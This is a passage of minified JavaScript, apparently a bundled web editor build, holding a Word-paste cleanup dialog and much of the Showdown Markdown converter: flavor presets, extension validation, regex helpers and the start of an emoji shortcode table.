fr-command">'+L.language.translate("Keep")+"</button></div>",e+="</div>"}(),n=L.modals.create(s,e,t),r=n.$body;i=n.$modal,n.$modal.addClass("fr-middle"),L.events.bindClick(r,"button.fr-remove-word",function(){var e=i.data("instance")||L;e.wordPaste.clean()}),L.events.bindClick(r,"button.fr-keep-word",function(){var e=i.data("instance")||L;e.wordPaste.clean(!0)}),L.events.$on(O(L.o_win),"resize",function(){L.modals.resize(s)})}L.modals.show(s),L.modals.resize(s)}():t(L.opts.wordPasteKeepFormatting),!1})},clean:t,_wordClean:o}};var _={},n={},S={},k=A(!0),x="vanilla",R={github:{omitExtraWLInCodeBlocks:!0,simplifiedAutoLink:!0,excludeTrailingPunctuationFromURLs:!0,literalMidWordUnderscores:!0,strikethrough:!0,tables:!0,tablesHeaderId:!0,ghCodeBlocks:!0,tasklists:!0,disableForced4SpacesIndentedSublists:!0,simpleLineBreaks:!0,requireSpaceBeforeHeadingText:!0,ghCompatibleHeaderId:!0,ghMentions:!0,backslashEscapesHTMLTags:!0,emoji:!0,splitAdjacentBlockquotes:!0},original:{noHeaderId:!0,ghCodeBlocks:!1},ghost:{omitExtraWLInCodeBlocks:!0,parseImgDimensions:!0,simplifiedAutoLink:!0,excludeTrailingPunctuationFromURLs:!0,literalMidWordUnderscores:!0,strikethrough:!0,tables:!0,tablesHeaderId:!0,ghCodeBlocks:!0,tasklists:!0,smoothLivePreview:!0,simpleLineBreaks:!0,requireSpaceBeforeHeadingText:!0,ghMentions:!1,encodeEmails:!0},vanilla:A(!0),allOn:function V(){var e=A(!0),t={};for(var n in e)e.hasOwnProperty(n)&&(t[n]=!0);return t}()};function N(e,t){var n=t?"Error in "+t+" extension->":"Error in unnamed extension",r={valid:!0,error:""};_.helper.isArray(e)||(e=[e]);for(var a=0;a<e.length;++a){var o=n+" sub-extension "+a+": ",i=e[a];if("object"!==St(i))return r.valid=!1,r.error=o+"must be an object, but "+St(i)+" given",r;if(!_.helper.isString(i.type))return r.valid=!1,r.error=o+'property "type" must be a string, but '+St(i.type)+" given",r;var s=i.type=i.type.toLowerCase();if("language"===s&&(s=i.type="lang"),"html"===s&&(s=i.type="output"),"lang"!==s&&"output"!==s&&"listener"!==s)return r.valid=!1,r.error=o+"type "+s+' is not recognized. Valid values: "lang/language", "output/html" or "listener"',r;if("listener"===s){if(_.helper.isUndefined(i.listeners))return r.valid=!1,r.error=o+'. Extensions of type "listener" must have a property called "listeners"',r}else if(_.helper.isUndefined(i.filter)&&_.helper.isUndefined(i.regex))return r.valid=!1,r.error=o+s+' extensions must define either a "regex" property or a "filter" method',r;if(i.listeners){if("object"!==St(i.listeners))return r.valid=!1,r.error=o+'"listeners" property must be an object but '+St(i.listeners)+" given",r;for(var l in i.listeners)if(i.listeners.hasOwnProperty(l)&&"function"!=typeof i.listeners[l])return r.valid=!1,r.error=o+'"listeners" property must be an hash of [event name]: [callback]. listeners.'+l+" must be a function but "+St(i.listeners[l])+" given",r}if(i.filter){if("function"!=typeof i.filter)return r.valid=!1,r.error=o+'"filter" must be a function, but '+St(i.filter)+" given",r}else if(i.regex){if(_.helper.isString(i.regex)&&(i.regex=new RegExp(i.regex,"g")),!(i.regex instanceof RegExp))return r.valid=!1,r.error=o+'"regex" property must either be a string or a RegExp object, but '+St(i.regex)+" given",r;if(_.helper.isUndefined(i.replace))return r.valid=!1,r.error=o+'"regex" extensions must implement a replace string or function',r}}return r}function M(e,t){return"\xa8E"+t.charCodeAt(0)+"E"}_.helper={},_.extensions={},_.setOption=function(e,t){return k[e]=t,this},_.getOption=function(e){return k[e]},_.getOptions=function(){return k},_.resetOptions=function(){k=A(!0)},_.setFlavor=function(e){if(!R.hasOwnProperty(e))throw Error(e+" flavor was not found");_.resetOptions();var t=R[e];for(var n in x=e,t)t.hasOwnProperty(n)&&(k[n]=t[n])},_.getFlavor=function(){return x},_.getFlavorOptions=function(e){if(R.hasOwnProperty(e))return R[e]},_.getDefaultOptions=function(e){return A(e)},_.subParser=function(e,t){if(_.helper.isString(e)){if(void 0===t){if(n.hasOwnProperty(e))return n[e];throw Error("SubParser named "+e+" not registered!")}n[e]=t}},_.extension=function(e,t){if(!_.helper.isString(e))throw Error("Extension 'name' must be a string");if(e=_.helper.stdExtName(e),_.helper.isUndefined(t)){if(!S.hasOwnProperty(e))throw Error("Extension named "+e+" is not registered!");return S[e]}"function"==typeof t&&(t=t()),_.helper.isArray(t)||(t=[t]);var n=N(t,e);if(!n.valid)throw Error(n.error);S[e]=t},_.getAllExtensions=function(){return S},_.removeExtension=function(e){delete S[e]},_.resetExtensions=function(){S={}},_.validateExtension=function(e){var t=N(e,null);return!!t.valid},_.hasOwnProperty("helper")||(_.helper={}),_.helper.isString=function(e){return"string"==typeof e||e instanceof String},_.helper.isFunction=function(e){return e&&"[object Function]"==={}.toString.call(e)},_.helper.isArray=function(e){return Array.isArray(e)},_.helper.isUndefined=function(e){return void 0===e},_.helper.forEach=function(e,t){if(_.helper.isUndefined(e))throw new Error("obj param is required");if(_.helper.isUndefined(t))throw new Error("callback param is required");if(!_.helper.isFunction(t))throw new Error("callback param must be a function/closure");if("function"==typeof e.forEach)e.forEach(t);else if(_.helper.isArray(e))for(var n=0;n<e.length;n++)t(e[n],n,e);else{if("object"!==St(e))throw new Error("obj does not seem to be an array or an iterable object");for(var r in e)e.hasOwnProperty(r)&&t(e[r],r,e)}},_.helper.stdExtName=function(e){return e.replace(/[_?*+\/\\.^-]/g,"").replace(/\s/g,"").toLowerCase()},_.helper.escapeCharactersCallback=M,_.helper.escapeCharacters=function(e,t,n){var r="(["+t.replace(/([\[\]\\])/g,"\\$1")+"])";n&&(r="\\\\"+r);var a=new RegExp(r,"g");return e=e.replace(a,M)},_.helper.unescapeHTMLEntities=function(e){return e.replace(/"/g,'"').replace(/</g,"<").replace(/>/g,">").replace(/&/g,"&")};var O=function O(e,t,n,r){var a,o,i,s,l,c=r||"",d=-1<c.indexOf("g"),f=new RegExp(t+"|"+n,"g"+c.replace(/g/g,"")),p=new RegExp(t,c.replace(/g/g,"")),u=[];do{for(a=0;i=f.exec(e);)if(p.test(i[0]))a++||(s=(o=f.lastIndex)-i[0].length);else if(a&&!--a){l=i.index+i[0].length;var h={left:{start:s,end:o},match:{start:o,end:i.index},right:{start:i.index,end:l},wholeMatch:{start:s,end:l}};if(u.push(h),!d)return u}}while(a&&(f.lastIndex=o));return u};_.helper.matchRecursiveRegExp=function(e,t,n,r){for(var a=O(e,t,n,r),o=[],i=0;i<a.length;++i)o.push([e.slice(a[i].wholeMatch.start,a[i].wholeMatch.end),e.slice(a[i].match.start,a[i].match.end),e.slice(a[i].left.start,a[i].left.end),e.slice(a[i].right.start,a[i].right.end)]);return o},_.helper.replaceRecursiveRegExp=function(e,t,n,r,a){if(!_.helper.isFunction(t)){var o=t;t=function t(){return o}}var i=O(e,n,r,a),s=e,l=i.length;if(0<l){var c=[];0!==i[0].wholeMatch.start&&c.push(e.slice(0,i[0].wholeMatch.start));for(var d=0;d<l;++d)c.push(t(e.slice(i[d].wholeMatch.start,i[d].wholeMatch.end),e.slice(i[d].match.start,i[d].match.end),e.slice(i[d].left.start,i[d].left.end),e.slice(i[d].right.start,i[d].right.end))),d<l-1&&c.push(e.slice(i[d].wholeMatch.end,i[d+1].wholeMatch.start));i[l-1].wholeMatch.end<e.length&&c.push(e.slice(i[l-1].wholeMatch.end)),s=c.join("")}return s},_.helper.regexIndexOf=function(e,t,n){if(!_.helper.isString(e))throw"InvalidArgumentError: first parameter of showdown.helper.regexIndexOf function must be a string";if(t instanceof RegExp==!1)throw"InvalidArgumentError: second parameter of showdown.helper.regexIndexOf function must be an instance of RegExp";var r=e.substring(n||0).search(t);return 0<=r?r+(n||0):r},_.helper.splitAtIndex=function(e,t){if(!_.helper.isString(e))throw"InvalidArgumentError: first parameter of showdown.helper.regexIndexOf function must be a string";return[e.substring(0,t),e.substring(t)]},_.helper.encodeEmailAddress=function(e){var n=[function(e){return"&#"+e.charCodeAt(0)+";"},function(e){return"&#x"+e.charCodeAt(0).toString(16)+";"},function(e){return e}];return e=e.replace(/./g,function(e){if("@"===e)e=n[Math.floor(2*Math.random())](e);else{var t=Math.random();e=.9<t?n[2](e):.45<t?n[1](e):n[0](e)}return e})},_.helper.padEnd=function(e,t,n){return t>>=0,n=String(n||" "),e.length>t?String(e):((t-=e.length)>n.length&&(n+=n.repeat(t/n.length)),String(e)+n.slice(0,t))},"undefined"==typeof console&&(console={warn:function(e){alert(e)},log:function(e){alert(e)},error:function(e){throw e}}),_.helper.regexes={asteriskDashAndColon:/([*_:~])/g},_.helper.emojis={"+1":"\ud83d\udc4d","-1":"\ud83d\udc4e",100:"\ud83d\udcaf",1234:"\ud83d\udd22","1st_place_medal":"\ud83e\udd47","2nd_place_medal":"\ud83e\udd48","3rd_place_medal":"\ud83e\udd49","8ball":"\ud83c\udfb1",a:"\ud83c\udd70\ufe0f",ab:"\ud83c\udd8e",abc:"\ud83d\udd24",abcd:"\ud83d\udd21",accept:"\ud83c\ude51",aerial_tramway:"\ud83d\udea1",airplane:"\u2708\ufe0f",alarm_clock:"\u23f0",alembic:"\u2697\ufe0f",alien:"\ud83d\udc7d",ambulance:"\ud83d\ude91",amphora:"\ud83c\udffa",anchor:"\u2693\ufe0f",angel:"\ud83d\udc7c",anger:"\ud83d\udca2",angry:"\ud83d\ude20",anguished:"\ud83d\ude27",ant:"\ud83d\udc1c",apple:"\ud83c\udf4e",aquarius:"\u2652\ufe0f",aries:"\u2648\ufe0f",arrow_backward:"\u25c0\ufe0f",arrow_double_down:"\u23ec",arrow_double_up:"\u23eb",arrow_down:"\u2b07\ufe0f",arrow_down_small:"\ud83d\udd3d",arrow_forward:"\u25b6\ufe0f",arrow_heading_down:"\u2935\ufe0f",arrow_heading_up:"\u2934\ufe0f",arrow_left:"\u2b05\ufe0f",arrow_lower_left:"\u2199\ufe0f",arrow_lower_right:"\u2198\ufe0f",arrow_right:"\u27a1\ufe0f",arrow_right_hook:"\u21aa\ufe0f",arrow_up:"\u2b06\ufe0f",arrow_up_down:"\u2195\ufe0f",arrow_up_small:"\ud83d\udd3c",arrow_upper_left:"\u2196\ufe0f",arrow_upper_right:"\u2197\ufe0f",arrows_clockwise:"\ud83d\udd03",arrows_counterclockwise:"\ud83d\udd04",art:"\ud83c\udfa8",articulated_lorry:"\ud83d\ude9b",artificial_satellite:"\ud83d\udef0",astonished:"\ud83d\ude32",athletic_shoe:"\ud83d\udc5f",atm:"\ud83c\udfe7",atom_symbol:"\u269b\ufe0f",avocado:"\ud83e\udd51",b:"\ud83c\udd71\ufe0f",baby:"\ud83d\udc76",baby_bottle:"\ud83c\udf7c",baby_chick:"\ud83d\udc24",baby_symbol:"\ud83d\udebc",back:"\ud83d\udd19",bacon:"\ud83e\udd53",badminton:"\ud83c\udff8",baggage_claim:"\ud83d\udec4",baguette_bread:"\ud83e\udd56",balance_scale:"\u2696\ufe0f",balloon:"\ud83c\udf88",ballot_box:"\ud83d\uddf3",ballot_box_with_check:"\u2611\ufe0f",bamboo:"\ud83c\udf8d",banana:"\ud83c\udf4c",bangbang:"\u203c\ufe0f",bank:"\ud83c\udfe6",bar_chart:"\ud83d\udcca",barber:"\ud83d\udc88",baseball:"\u26be\ufe0f",basketball:"\ud83c\udfc0",basketball_man:"\u26f9\ufe0f",basketball_woman:"\u26f9\ufe0f‍\u2640\ufe0f",bat:"\ud83e\udd87",bath:"\ud83d\udec0",bathtub:"\ud83d\udec1",battery:"\ud83d\udd0b",beach_umbrella:"\ud83c\udfd6",bear:"\ud83d\udc3b",bed:"\ud83d\udecf",bee:"\ud83d\udc1d",beer:"\ud83c\udf7a",beers:"\ud83c\udf7b",beetle:"\ud83d\udc1e",beginner:"\ud83d\udd30",bell:"\ud83d\udd14",bellhop_bell:"\ud83d\udece",bento:"\ud83c\udf71",biking_man:"\ud83d\udeb4",bike:"\ud83d\udeb2",biking_woman:"\ud83d\udeb4‍\u2640\ufe0f",bikini:"\ud83d\udc59",biohazard:"\u2623\ufe0f",bird:"\ud83d\udc26",birthday:"\ud83c\udf82",black_circle:"\u26ab\ufe0f",black_flag:"\ud83c\udff4",black_heart:"\ud83d\udda4",black_joker:"\ud83c\udccf",black_large_square:"\u2b1b\ufe0f",black_medium_small_square:"\u25fe\ufe0f",black_medium_square:"\u25fc\ufe0f",black_nib:"\u2712\ufe0f",black_small_square:"\u25aa\ufe0f",black_square_button:"\ud83d\udd32",blonde_man:"\ud83d\udc71",blonde_woman:"\ud83d\udc71‍\u2640\ufe0f",blossom:"\ud83c\udf3c",blowfish:"\ud83d\udc21",blue_book:"\ud83d\udcd8",blue_car:"\ud83d\ude99",blue_heart:"\ud83d\udc99",blush:"\ud83d\ude0a",boar:"\ud83d\udc17",boat:"\u26f5\ufe0f",bomb:"\ud83d\udca3",book:"\ud83d\udcd6",bookmark:"\ud83d\udd16",bookmark_tabs:"\ud83d\udcd1",books:"\ud83d\udcda",boom:"\ud83d\udca5",boot:"\ud83d\udc62",bouquet:"\ud83d\udc90",bowing_man:"\ud83d\ude47",bow_and_arrow:"\ud83c\udff9",bowing_woman:"\ud83d\ude47‍\u2640\ufe0f",bowling:"\ud83c\udfb3",boxing_glove:"\ud83e\udd4a",boy:"\ud83d\udc66",bread:"\ud83c\udf5e",bride_with_veil:"\ud83d\udc70",bridge_at_night:"\ud83c\udf09",briefcase:"\ud83d\udcbc",broken_heart:"\ud83d\udc94",bug:"\ud83d\udc1b",building_construction:"\ud83c\udfd7",bulb:"\ud83d\udca1",bullettrain_front:"\ud83d\ude85",bullettrain_side:"\ud83d\ude84",burrito:"\ud83c\udf2f",bus:"\ud83d\ude8c",business_suit_levitating:"\ud83d\udd74",busstop:"\ud83d\ude8f",bust_in_silhouette:"\ud83d\udc64",busts_in_silhouette:"\ud83d\udc65",butterfly:"\ud83e\udd8b",cactus:"\ud83c\udf35",cake:"\ud83c\udf70",calendar:"\ud83d\udcc6",call_me_hand:"\ud83e\udd19",calling:"\ud83d\udcf2",camel:"\ud83d\udc2b",camera:"\ud83d\udcf7",camera_flash:"\ud83d\udcf8",camping:"\ud83c\udfd5",cancer:"\u264b\ufe0f",candle:"\ud83d\udd6f",candy:"\ud83c\udf6c",canoe:"\ud83d\udef6",capital_abcd:"\ud83d\udd20",capricorn:"\u2651\ufe0f",car:"\ud83d\ude97",card_file_box:"\ud83d\uddc3",card_index:"\ud83d\udcc7",card_index_dividers:"\ud83d\uddc2",carousel_horse:"\ud83c\udfa0",carrot:"\ud83e\udd55",cat:"\ud83d\udc31",cat2:"\ud83d\udc08",cd:"\ud83d\udcbf",chains:"\u26d3",champagne:"\ud83c\udf7e",chart:"\ud83d\udcb9",chart_with_downwards_trend:"\ud83d\udcc9",chart_with_upwards_trend:"\ud83d\udcc8",checkered_flag:"\ud83c\udfc1",cheese:"\ud83e\uddc0",cherries:"\ud83c\udf52",cherry_blossom:"\ud83c\udf38",chestnut:"\ud83c\udf30",chicken:"\ud83d\udc14",children_crossing:"\ud83d\udeb8",chipmunk:"\ud83d\udc3f",chocolate_bar:"\ud83c\udf6b",christmas_tree:"\ud83c\udf84",church:"\u26ea\ufe0f",cinema:"\ud83c\udfa6",circus_tent:"\ud83c\udfaa",city_sunrise:"\ud83c\udf07",city_sunset:"\ud83c\udf06",cityscape:"\ud83c\udfd9",cl:"\ud83c\udd91",clamp:"\ud83d\udddc",clap:"\ud83d\udc4f",clapper:"\ud83c\udfac",classical_building:"\ud83c\udfdb",clinking_glasses:"\ud83e\udd42",clipboard:"\ud83d\udccb",clock1:"\ud83d\udd50",clock10:"\ud83d\udd59",clock1030:"\ud83d\udd65",clock11:"\ud83d\udd5a",clock1130:"\ud83d\udd66",clock12:"\ud83d\udd5b",clock1230:"\ud83d\udd67",clock130:"\ud83d\udd5c",clock2:"\ud83d\udd51",clock230:"\ud83d\udd5d",clock3:"\ud83d\udd52",clock330:"\ud83d\udd5e",clock4:"\ud83d\udd53",clock430:"\ud83d\udd5f",clock5:"\ud83d\udd54",clock530:"\ud83d\udd60",clock6:"\ud83d\udd55",clock630:"\ud83d\udd61",clock7:"\ud83d\udd56",clock730:"\ud83d\udd62",clock8:"\ud83d\udd57",clock830:"\ud83d\udd63",clock9:"\ud83d\udd58",clock930:"\ud83d\udd64",closed_book:"\ud83d\udcd5",closed_lock_with_key:"\ud83d\udd10",closed_umbrella:"\ud83c\udf02",cloud:"\u2601\ufe0f",cloud_with_lightning:"\ud83c\udf29",cloud_with_lightning_and_rain:"\u26c8",cloud_with_rain:"\ud83c\udf27",cloud_with_snow:"\ud83c\udf28",clown_face:"\ud83e\udd21",clubs:"\u2663\ufe0f",cocktail:"\ud83c\udf78",coffee:"\u2615\ufe0f",coffin:"\u26b0\ufe0f",cold_sweat:"\ud83d\ude30",comet:"\u2604\ufe0f",computer:"\ud83d\udcbb",computer_mouse:"\ud83d\uddb1",confetti_ball:"\ud83c\udf8a",confounded:"\ud83d\ude16",confused:"\ud83d\ude15",congratulations:"\u3297\ufe0f",construction:"\ud83d\udea7",construction_worker_man:"\ud83d\udc77",construction_worker_woman:"\ud83d\udc77‍\u2640\ufe0f",control_knobs:"\ud83c\udf9b",convenience_store:"\ud83c\udfea",cookie:"\ud83c\udf6a",cool:"\ud83c\udd92",policeman:"\ud83d\udc6e",copyright:"\xa9\ufe0f",corn:"\ud83c\udf3d",couch_and_lamp:"\ud83d\udecb",couple:"\ud83d\udc6b",couple_with_heart_woman_man:"\ud83d\udc91",couple_with_heart_man_man:"\ud83d\udc68‍\u2764\ufe0f‍\ud83d\udc68",couple_with_heart_woman_woman:"\ud83d\udc69‍\u2764\ufe0f‍\ud83d\udc69",couplekiss_man_man:"\ud83d\udc68‍\u2764\ufe0f‍\ud83d\udc8b‍\ud83d\udc68",couplekiss_man_woman:"\ud83d\udc8f",couplekiss_woman_woman:"\ud83d\udc69‍\u2764\ufe0f‍\ud83d\udc8b‍\ud83d\udc69",cow:"\ud83d\udc2e",cow2:"\ud83d\udc04",cowboy_hat_face:"\ud83e\udd20",crab:"\ud83e\udd80",crayon:"\ud83d\udd8d",credit_card:"\ud83d\udcb3",crescent_moon:"\ud83c\udf19",cricket:"\ud83c\udfcf",crocodile:"\ud83d\udc0a",croissant:"\ud83e\udd50",crossed_fingers:"\ud83e\udd1e",crossed_flags:"\ud83c\udf8c",crossed_swords:"\u2694\ufe0f",crown:"\ud83d\udc51",cry:"\ud83d\ude22",crying_cat_face:"\ud83d\ude3f",crystal_ball:"\ud83d\udd2e",cucumber:"\ud83e\udd52",cupid:"\ud83d\udc98",curly_loop:"\u27b0",currency_exchange:"\ud83d\udcb1",curry:"\ud83c\udf5b",custard:"\ud83c\udf6e",customs:"\ud83d\udec3",cyclone:"\ud83c\udf00",dagger:"\ud83d\udde1",dancer:"\ud83d\udc83",dancing_women:"\ud83d\udc6f",dancing_men:"\ud83d\udc6f‍\u2642\ufe0f",dango:"\ud83c\udf61",dark_sunglasses:"\ud83d\udd76",dart:"\ud83c\udfaf",dash:"\ud83d\udca8",date:"\ud83d\udcc5",deciduous_tree:"\ud83c\udf33",deer:"\ud83e\udd8c",department_store:"\ud83c\udfec",derelict_house:"\ud83c\udfda",desert:"\ud83c\udfdc",desert_island:"\ud83c\udfdd",desktop_computer:"\ud83d\udda5",male_detective:"\ud83d\udd75\ufe0f",diamond_shape_with_a_dot_inside:"\ud83d\udca0",diamonds:"\u2666\ufe0f",disappointed:"\ud83d\ude1e",disappointed_relieved:"\ud83d\ude25",dizzy:"\ud83d\udcab",dizzy_face:"\ud83d\ude35",do_not_litter:"\ud83d\udeaf",dog:"\ud83d\udc36",dog2:"\ud83d\udc15",dollar:"\ud83d\udcb5",dolls:"\ud83c\udf8e",dolphin:"\ud83d\udc2c",door:"\ud83d\udeaa",doughnut:"\ud83c\udf69",dove:"\ud83d\udd4a",dragon:"\ud83d\udc09",dragon_face:"\ud83d\udc32",dress:"\ud83d\udc57",dromedary_camel:"\ud83d\udc2a",drooling_face:"\ud83e\udd24",droplet:"\ud83d\udca7",drum:"\ud83e\udd41",duck:"\ud83e\udd86",dvd:"\ud83d\udcc0","e-mail":"\ud83d\udce7",eagle:"\ud83e\udd85",ear:"\ud83d\udc42",ear_of_rice:"\ud83c\udf3e",earth_africa:"\ud83c\udf0d",earth_americas:"\ud83c\udf0e",earth_asia:"\ud83c\udf0f",egg:"\ud83e\udd5a",eggplant:"\ud83c\udf46",eight_pointed_black_star:"\u2734\ufe0f",eight_spoked_asterisk:"\u2733\ufe0f",electric_plug:"\ud83d\udd0c",elephant:"\ud83d\udc18",email:"\u2709\ufe0f",end:"\ud83d\udd1a",envelope_with_arrow:"\ud83d\udce9",euro:"\ud83d\udcb6",european_castle:"\ud83c\udff0",european_post_office:"\ud83c\udfe4",evergreen_tree:"\ud83c\udf32",exclamation:"\u2757\ufe0f",expressionless:"\ud83d\ude11",eye:"\ud83d\udc41",eye_speech_bubble:"\ud83d\udc41‍\ud83d\udde8",eyeglasses:"\ud83d\udc53",eyes:"\ud83d\udc40",face_with_head_bandage:"\ud83e\udd15",face_with_thermometer:"\ud83e\udd12",fist_oncoming:"\ud83d\udc4a",factory:"\ud83c\udfed",fallen_leaf:"\ud83c\udf42",family_man_woman_boy:"\ud83d\udc6a",family_man_boy:"\ud83d\udc68‍\ud83d\udc66",family_man_boy_boy:"\ud83d\udc68‍\ud83d\udc66‍\ud83d\udc66",family_man_girl:"\ud83d\udc68‍\ud83d\udc67",family_man_girl_boy:"\ud83d\udc68‍\ud83d\udc67‍\ud83d\udc66",family_man_girl_girl:"\ud83d\udc68‍\ud83d\udc67‍\ud83d\udc67",family_man_man_boy:"\ud83d\udc68‍\ud83d\udc68‍\ud83d\udc66",family_man_man_boy_boy:"\ud83d\udc68‍\ud83d\udc68‍\ud83d\udc66‍\ud83d\udc66",family_man_man_girl:"\ud83d\udc68‍\ud83d\udc68‍\ud83d\udc67",family_man_man_girl_boy:"\ud83d\udc68‍\ud83d\udc68‍\ud83d\udc67‍\ud83d\udc66",family_man_man_girl_girl:"\ud83d\udc68‍\ud83d\udc68‍\ud83d\udc67‍\ud83d\udc67",family_man_woman_boy_boy:"\ud83d\udc68‍\ud83d\udc69‍\ud83d\udc66‍\ud83d\udc66",family_man_woman_girl:"\ud83d\udc68‍\ud83d\udc69‍\ud83d\udc67",family_man_woman_girl_boy:"\ud83d\udc68‍\ud83d\udc69‍\ud83d\udc67‍\ud83d\udc66",family_man_woman_girl_girl:"\ud83d\udc68‍\ud83d\udc69‍\ud83d\udc67‍\ud83d\udc67",family_woman_boy:"\ud83d\udc69‍\ud83d\udc66",family_woman_boy_boy:"\ud83d\udc69‍\ud83d\udc66‍\ud83d\udc66",family_woman_girl:"\ud83d\udc69‍\ud83d\udc67",family_woman_girl_boy:"\ud83d\udc69‍\ud83d\udc67‍\ud83d\udc66",family_woman_girl_girl:"\ud83d\udc69‍\ud83d\udc67‍\ud83d\udc67",family_woman_woman_boy:"\ud83d\udc69‍\ud83d\udc69‍\ud83d\udc66",family_woman_woman_boy_boy:"\ud83d\udc69‍\ud83d\udc69‍\ud83d\udc66‍\ud83d\udc66",family_woman_woman_girl:"\ud83d\udc69‍\ud83d\udc69‍\ud83d\udc67",family_woman_woman_girl_boy:"\ud83d\udc69‍\ud83d\udc69‍\ud83d\udc67‍\ud83d\udc66",family_woman_woman_girl_girl:"\ud83d\udc69‍\ud83d\udc69‍\ud83d\udc67‍\ud83d\udc67",fast_forward:"\u23e9",fax:"\ud83d\udce0",fearful:"\ud83d\ude28",feet:"\ud83d\udc3e",female_detective:"\ud83d\udd75\ufe0f‍\u2640\ufe0f",ferris_wheel:"\ud83c\udfa1",ferry:"\u26f4",field_hockey:"\ud83c\udfd1",file_cabinet:"\ud83d\uddc4",file_folder:"\ud83d\udcc1",film_projector:"\ud83d\udcfd",film_strip:"\ud83c\udf9e",fire:"\ud83d\udd25",fire_engine:"\ud83d\ude92",fireworks:"\ud83c\udf86",first_quarter_moon:"\ud83c\udf13",first_quarter_moon_with_face:"\ud83c\udf1b",fish:"\ud83d\udc1f",fish_cake:"\ud83c\udf65",fishing_pole_and_fish:"\ud83c\udfa3",fist_raised:"\u270a",fist_left:"\ud83e\udd1b",fist_right:"\ud83e\udd1c",flags:"\ud83c\udf8f",flashlight:"\ud83d\udd26",fleur_de_lis:"\u269c\ufe0f",flight_arrival:"\ud83d\udeec",flight_departure:"\ud83d\udeeb",floppy_disk:"\ud83d\udcbe",flower_playing_cards:"\ud83c\udfb4",flushed:"\ud83d\ude33",fog:"\ud83c\udf2b",foggy:"\ud83c\udf01",football:"\ud83c\udfc8",footprints:"\ud83d\udc63",fork_and_knife:"\ud83c\udf74",fountain:"\u26f2\ufe0f",fountain_pen:"\ud83d\udd8b",four_leaf_clover:"\ud83c\udf40",fox_face:"\ud83e\udd8a",framed_picture:"\ud83d\uddbc",free:"\ud83c\udd93",fried_egg:"\ud83c\udf73",fried_shrimp:"\ud83c\udf64",fries:"\ud83c\udf5f",frog:"\ud83d\udc38",frowning:"\ud83d\ude26",frowning_face:"\u2639\ufe0f",frowning_man:"\ud83d\ude4d‍\u2642\ufe0f",frowning_woman:"\ud83d\ude4d",middle_finger:"\ud83d\udd95",fuelpump:"\u26fd\ufe0f",full_moon:"\ud83c\udf15",full_moon_with_face:"\ud83c\udf1d",funeral_urn:"\u26b1\ufe0f",game_die:"\ud83c\udfb2",gear:"\u2699\ufe0f",gem:"\ud83d\udc8e",gemini:"\u264a\ufe0f",ghost:"\ud83d\udc7b",gift:"\ud83c\udf81",gift_heart:"\ud83d\udc9d",girl:"\ud83d\udc67",globe_with_meridians:"\ud83c\udf10",goal_net:"\ud83e\udd45",goat:"\ud83d\udc10",golf:"\u26f3\ufe0f",golfing_man:"\ud83c\udfcc\ufe0f",golfing_woman:"\ud83c\udfcc\ufe0f‍\u2640\ufe0f",gorilla:"\ud83e\udd8d",grapes:"\ud83c\udf47",green_apple:"\ud83c\udf4f",green_book:"\ud83d\udcd7",green_heart:"\ud83d\udc9a",green_salad:"\ud83e\udd57",grey_exclamation:"\u2755",grey_question:"\u2754",grimacing:"\ud83d\ude2c",grin:"\ud83d\ude01",grinning:"\ud83d\ude00",guardsman:"\ud83d\udc82",guardswoman:"\ud83d\udc82‍\u2640\ufe0f",guitar:"\ud83c\udfb8",gun:"\ud83d\udd2b",haircut_woman:"\ud83d\udc87",haircut_man:"\ud83d\udc87‍\u2642\ufe0f",hamburger:"\ud83c\udf54",hammer:"\ud83d\udd28",hammer_and_pick:"\u2692",hammer_and_wrench:"\ud83d\udee0",hamster:"\ud83d\udc39",hand:"\u270b",handbag:"\ud83d\udc5c",handshake:"\ud83e\udd1d",hankey:"\ud83d\udca9",hatched_chick:"\ud83d\udc25",hatching_chick:"\ud83d\udc23",headphones:"\ud83c\udfa7",hear_no_evil:"\ud83d\ude49",heart:"\u2764\ufe0f",heart_decoration:"\ud83d\udc9f",heart_eyes:"\ud83d\ude0d",heart_eyes_cat:"\ud83d\ude3b",heartbeat:"\ud83d\udc93",heartpulse:"\ud83d\udc97",hearts:"\u2665\ufe0f",heavy_check_mark:"\u2714\ufe0f",heavy_division_sign:"\u2797",heavy_dollar_sign:"\ud83d\udcb2",heavy_heart_exclamation:"\u2763\ufe0f",heavy_minus_sign:"\u2796",heavy_multiplication_x:"\u2716\ufe0f",heavy_plus_sign:"\u2795",helicopter:"\ud83d\ude81",herb:"\ud83c\udf3f",hibiscus:"\ud83c\udf3a",high_brightness:"\ud83d\udd06",high_heel:"\ud83d\udc60",hocho:"\ud83d\udd2a",hole:"\ud83d\udd73",honey_pot:"\ud83c\udf6f",horse:"\ud83d\udc34",horse_racing:"\ud83c\udfc7",hospital:"\ud83c\udfe5",hot_pepper:"\ud83c\udf36",hotdog:"\ud83c\udf2d",hotel:"\ud83c\udfe8",hotsprings:"\u2668\ufe0f",hourglass:"\u231b\ufe0f",hourglass_flowing_sand:"\u23f3",house:"\ud83c\udfe0",house_with_garden:"\ud83c\udfe1",houses:"\ud83c\udfd8",hugs:"\ud83e\udd17",hushed:"\ud83d\ude2f",ice_cream:"\ud83c\udf68",ice_hockey:"\ud83c\udfd2",ice_skate:"\u26f8",icecream:"\ud83c\udf66",id:"\ud83c\udd94",ideograph_advantage:"\ud83c\ude50",imp:"\ud83d\udc7f",inbox_tray:"\ud83d\udce5",incoming_envelope:"\ud83d\udce8",tipping_hand_woman:"\ud83d\udc81",information_source:"\u2139\ufe0f",innocent:"\ud83d\ude07",interrobang:"\u2049\ufe0f",iphone:"\ud83d\udcf1",izakaya_lantern:"\ud83c\udfee",jack_o_lantern:"\ud83c\udf83",japan:"\ud83d\uddfe",japanese_castle:"\ud83c\udfef",japanese_goblin:"\ud83d\udc7a",japanese_ogre:"\ud83d\udc79",jeans:"\ud83d\udc56",joy:"\ud83d\ude02",joy_cat:"\ud83d\ude39",joystick:"\ud83d\udd79",kaaba:"\ud83d\udd4b",key:"\ud83d\udd11",keyboard:"\u2328\ufe0f",keycap_ten:"\ud83d\udd1f",kick_scooter:"\ud83d\udef4",kimono:"\ud83d\udc58",kiss:"\ud83d\udc8b",kissing:"\ud83d\ude17",kissing_cat:"\ud83d\ude3d",kissing_closed_eyes:"\ud83d\ude1a",kissing_heart:"\ud83d\ude18",kissing_smiling_eyes:"\ud83d\ude19",kiwi_fruit:"\ud83e\udd5d",koala:"\ud83d\udc28",koko:"\ud83c\ude01",label:"\ud83c\udff7",large_blue_circle:"\ud83d\udd35",large_blue_diamond:"\ud83d\udd37",large_orange_diamond:"\ud83d\udd36",last_quarter_moon:"\ud83c\udf17",last_quarter_moon_with_face:"\ud83c\udf1c",latin_cross:"\u271d\uf